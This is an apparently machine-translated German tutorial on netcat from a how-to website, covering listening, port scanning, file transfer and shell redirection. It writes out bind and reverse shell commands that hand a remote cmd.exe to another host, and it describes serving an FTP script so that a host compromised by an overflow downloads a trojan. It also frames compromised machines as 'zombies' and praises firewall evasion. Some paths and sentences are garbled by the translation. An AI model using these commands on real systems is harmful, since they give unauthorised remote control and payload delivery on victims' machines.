[Befehlserklärung] Verwenden Sie die Weiterleitungsverbindungsmethode. Führen Sie nc -l -p 2012 -t -e cmd.exe auf dem Remote-Host aus (Hinweis: vorausgesetzt, die IP-Adresse ist 192.168.1.101), was bedeutet, dass die CMD des Remote-Hosts an [Befehlserklärung] Port 2012 gebunden wird. Wenn der lokale Host erfolgreich eine Verbindung zum Remote-Host herstellt, wird eine CMD-Shell an den lokalen Host zurückgegeben; führen Sie nc -nvv 192.168.1.101 2012 auf dem lokalen Host für [Befehlserklärung] aus, um eine Verbindung zum Remote-Host herzustellen, der CMD auf Port 2012 umgeleitet hat (Hinweis: vorausgesetzt, die IP-Adresse ist 192.168.1.101).
===========================================================================
[Lokaler Betrieb] nc -l -p 2012
【Fernbedienung】nc -t -e cmd.exe 192.168.1.102 2012
[Befehlserklärung] Verwenden Sie die umgekehrte Verbindungsmethode. Führen Sie zuerst nc -l -p 2012 auf dem lokalen Host aus, um den Port 2012 des lokalen Hosts zu öffnen (Hinweis: vorausgesetzt, die IP-Adresse ist 192.168.1.102) und auf die Verbindung des Remote-Hosts zu warten [Befehlserklärung]; führen Sie nc -t -e cmd.exe 192.168.1.102 2012 auf dem Remote-Host aus, um die CMD des Remote-Hosts auf den Host mit der IP-Adresse 192.168.1.102 und der Portnummer 2012 umzuleiten. Nachdem die Verbindung erfolgreich hergestellt wurde, erhält der Host mit der IP-Adresse 192.168.1.102 eine CMD-Shell.
===========================================================================
[Lokaler Vorgang] nc -v -n ip port < C:/sunzn.exe
【Fernbedienung】nc -v -l -p port > D:/sunzn.exe
[Befehlserklärung] Wenn nc -v -n ip port < C:/sunzn.exe lokal ausgeführt wird, bedeutet dies, dass der Inhalt der Datei sunzn.exe aus dem Stammverzeichnis des lokalen Laufwerks C gelesen und diese Daten an den entsprechenden Port des Remote-Hosts gesendet werden (Hinweis: Die IP in der Befehlszeile ist die IP des Remote-Hosts, der die Datei empfängt). Wenn nc -v -l -p port > D:/sunzn.exe auf dem Remote-Host ausgeführt wird, bedeutet dies, dass der entsprechende Port überwacht und die empfangenen Informationsdaten in D:/sunzn.exe geschrieben werden. Diese beiden Befehlszeilen ermöglichen die Übertragung von Dateien zwischen dem lokalen Host und dem Remote-Host.
===========================================================================
[Lokaler Vorgang] nc -L -p 8989<C:\ftp.txt (ftp.txt ist der FTP-Befehl zum automatischen Herunterladen)
[Befehlserklärung] Lauschen Sie weiterhin auf Port 8989 und senden Sie den Inhalt in C:\ftp.txt an jeden Host, der mit Port 8989 dieser Maschine verbunden ist und Dateien übertragen kann (diese Verwendung wird häufig für den umgekehrten [Befehlserklärung]-Überlauf verwendet). Bei einem Überlauf eines Remote-Hosts verwendet der Remote-Host automatisch FTP, um die angegebene Datei (z. B. einen Trojaner) herunterzuladen, sobald der übergelaufene Remote-Host eine Verbindung mit Port 8989 des lokalen Hosts herstellt.
===========================================================================

Einfaches Nutzungs-Tutorial:

Befehl 1: Abhörbefehl

  nc -l -p Port
  nc -l -p port > e:\log.dat
  nc -l -v -p Port

Parametererklärung:
-l: Abhörport, lauscht auf eingehende Informationen
-p: gefolgt von der lokalen Portnummer
-v: Portinformationen anzeigen. Bei Verwendung von -vv werden detailliertere Informationen zum Port angezeigt.

Tipp: Generell verwendet jeder gerne -vv

nc -l -p 80 //Das ist ganz einfach, es wird auf Port 80 gelauscht. Wenn dieser Befehl auf dem Computer ausgeführt wird, gilt Port 80 als offen und kann den Scanner täuschen.
nc -l -p 80 > e:\log.dat //Schreibe detaillierte Informationen in die Logdatei log.dat auf Platte E
nc -l -v -p 80 //Ähnlich wie beim obigen Befehl werden die Informationen direkt auf dem Bildschirm angezeigt, auf dem NC ausgeführt wird.

üben:

Beispiel: nc -l -v -p 80

Geben Sie dann die lokale IP im Browser ein: 127.0.0.1

Befehl 2: Programmrichtung (Methode der Rebound-Shell)

nc -l -p port -t -e cmd.exe

Lokaler Computer: nc -l -p port oder nc -l -v -p port
Zielmaschine: nc -e cmd.exe IP-Port

Parametererklärung:
Die beiden Parameter -l und -p wurden erklärt.
-e; die Funktion ist programmorientiert
-t: Antwort in Form von Telnet

Beispiel

nc -l -p 5277 -t -e cmd.exe  
 // Führen Sie es niemals auf Ihrem eigenen Rechner aus. Wenn Sie das tun, wird Ihr Rechner zu einem TELNET-Server.

Befehlserklärung:

Warten Sie auf eingehende Informationen am lokalen Port 5277 und leiten Sie das Programm CMD.exe auf Port 5277 um. Wenn jemand eine Verbindung herstellt, lassen Sie das Programm CMD.exe in Form von TELNET auf die Verbindungsanforderung antworten. Um es einfach auszudrücken: Dadurch wird es tatsächlich zu einem TELNET-Zombie, daher muss dieser Befehl auf Ihrem Zombie ausgeführt werden.

Anwendungsbeispiel:

lokaler Rechner: nc -l -p port ( oder nc -l -v -p port )
Remote-Computer: nc -e cmd.exe IP-Port

Jeder kennt Gray Pigeon und Thief, oder? Beide Tools verwenden den Rebound-Port-Typ Trojaner.

Was ist ein Bounce-Port?

Das heißt, wenn die andere Partei infiziert ist, müssen Sie keine aktive Verbindung mit der anderen Partei herstellen, das heißt, Sie müssen keine Verbindungsanforderung von Ihrem Client an den Server senden, der auf dem Host der anderen Partei ausgeführt wird. Stattdessen stellt die andere Partei eine aktive Verbindung mit Ihnen her. Dies kann viele Firewalls unwirksam machen, da viele Firewalls ausgehende Anforderungen nicht überprüfen.

Wenn diese beiden Befehle hier kombiniert werden, kann man sagen, dass sie dieselbe Wirkung haben wie diese beiden Trojaner.

Lokaler Betrieb: nc -l -p 5277 (auf lokalem Port 5277 lauschen) oder nc -l -v -p 5277

Versuchen Sie dann auf dem Remotecomputer, nc -e cmd.exe ip 5277 auszuführen

(Geben Sie auf der Brute-Force-Maschine nicht wirklich „ip“ ein.) Sie sollten es so eingeben: xxx.xxx.xxx.xxx! !

Dies ist ein Rebound ~~Holen Sie sich eine SHELL auf dem lokalen Rechner

Befehl 3: Ports scannen

nc -v IP-Port
nc -v -z IP-Port-Port
nc -v -z -u IP-Port-Port

Parametererklärung:

-z: Ein- und Ausgabe ausschalten, wird beim Scannen verwendet

nc -v IP-Port  

//Dieser Befehl dient zum Scannen eines bestimmten Ports

Zum Beispiel:

nc -v ip 135  
//Scannen Sie Port 135 des Remote-Hosts, um einige einfache Informationen über den Port zu erhalten. Für einige Ports können wir jedoch auch weitere Informationen erhalten

Beispiel: Port 80

nc -v ip 80 Verwenden Sie dann die get-Methode, um die WEB-Serverinformationen der anderen Partei abzurufen

nc -v -z IP-Port-Port  
 //Mit diesem Befehl können TCP-Ports schnell gescannt werden. Port-Port gibt den zu scannenden Portbereich an.

Zum Beispiel:

nc -v -z ip 1-200  
//Sie können den Öffnungsstatus der TCP-Ports 1-200 auf meinem Computer sehen nc -v -z -u ip port-port  
//Dieser Befehl hat einen zusätzlichen -u-Parameter als der vorherige Befehl. Die Funktion dieses Befehls besteht immer noch darin, Ports zu scannen, aber es gibt einen zusätzlichen -u-Parameter, der zum Scannen von UDP-Ports verwendet wird

Zum Beispiel:

nc -v -z -u ip 1-200 //Dieser Befehl scannt die UDP-Ports 1-200

Befehl 4: Dateien übertragen (HOHO, DAS GEFÄLLT MIR)

LOKALE MASCHINE: nc -v -n IP-Port < x:\svr.exe
ENTFERNT MASCHINE: nc -v -l -p port > y:\svr.exe

Parametererklärung:

-n: Geben Sie eine numerische IP -Adresse an

Diese beiden Befehle werden zum Übertragungsdateien kombiniert

Führen Sie zunächst den Befehl auf der Remote -Maschine aus:

nc -v -l -p 5277> c: \ pulist.exe

Erinnerst du dich an diesen Befehl? Haha, ist es nicht ein bisschen ähnlich wie bei der Überwachung?

Und schreiben Sie die empfangenen Informationsdaten an c: \ pulist.exe

Jetzt auf der lokalen Maschine laufen

nc -v -n ip 5277 <e: \ hack \ pulist.exe

Dieser Befehl bedeutet, den Inhalt der Datei pulist.exe aus dem lokalen E -Laufwerk und Verzeichnis zu lesen und diese Daten an Port 5277 der IP -Adresse zu senden.

Dadurch wird automatisch eine Pulist.exe -Datei auf dem Remote -Host erstellt.

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, er wird für jedermanns Studium hilfreich sein. Ich hoffe auch, dass jeder 123WORDPRESS.COM unterstützen wird.

Das könnte Sie auch interessieren:
  • Detaillierte Erläuterung des Befehls rsync unter Linux
  • Zusammenfassung des NC -Befehls unter Linux
  • So verwenden Sie den Befehl nc, um den Server -Port unter Linux zu überwachen

<<:  Die richtige Methode zur Installation von MySQL mit Yum auf Alibaba Cloud CentOS 7 (empfohlen)

>>:  Lösung zum Vergessen des Root-Passworts von MySQL5.7 unter Windows 8.1

Artikel empfehlen

Nexus verwendet Nginx-Proxy zur Unterstützung des HTTPS-Protokolls

Hintergrund Alle Unternehmenswebsites müssen das ...

So legen Sie eine statische IP für den Ubuntu 18.04-Server fest

1. Hintergrund Netplan ist ein neues Befehlszeile...

Vue-Anfängerhandbuch: Umgebungserstellung und Erste Schritte

Inhaltsverzeichnis Erster Blick Erstellen einer V...

HTML Table Tag Tutorial (47): Verschachtelte Tabellen

<br />Der Schriftsatz auf der Seite erfolgt ...

Analyse der Linux-Bootsystemmethoden

Dieser Artikel beschreibt, wie man das Linux-Syst...

Zusammenfassung der drei Phasen der Entwicklung eines visuellen Designers

Viele Leute haben dieses Buch gelesen: „Entwickel...

Anweisungen zur Verwendung der MySQL-IndexOF-Funktion

Wie unten dargestellt: LOCATE(Teilzeichenfolge,Ze...

Mehrere magische Verwendungen des JS ES6 Spread-Operators

Inhaltsverzeichnis 1. Attribute hinzufügen 2. Meh...

HTML-Zeichnungsbenutzer-Registrierungsseite

In diesem Artikel wird der spezifische Implementi...

Suchmaschinenfreie Sammlung von Website-Einträgen

1: Anmeldeeingang der Baidu-Website Website: http:...

Detaillierte Erklärung zur Installation von MySQL in der Alibaba Cloud

Als leichte Open-Source-Datenbank wird MySQL häuf...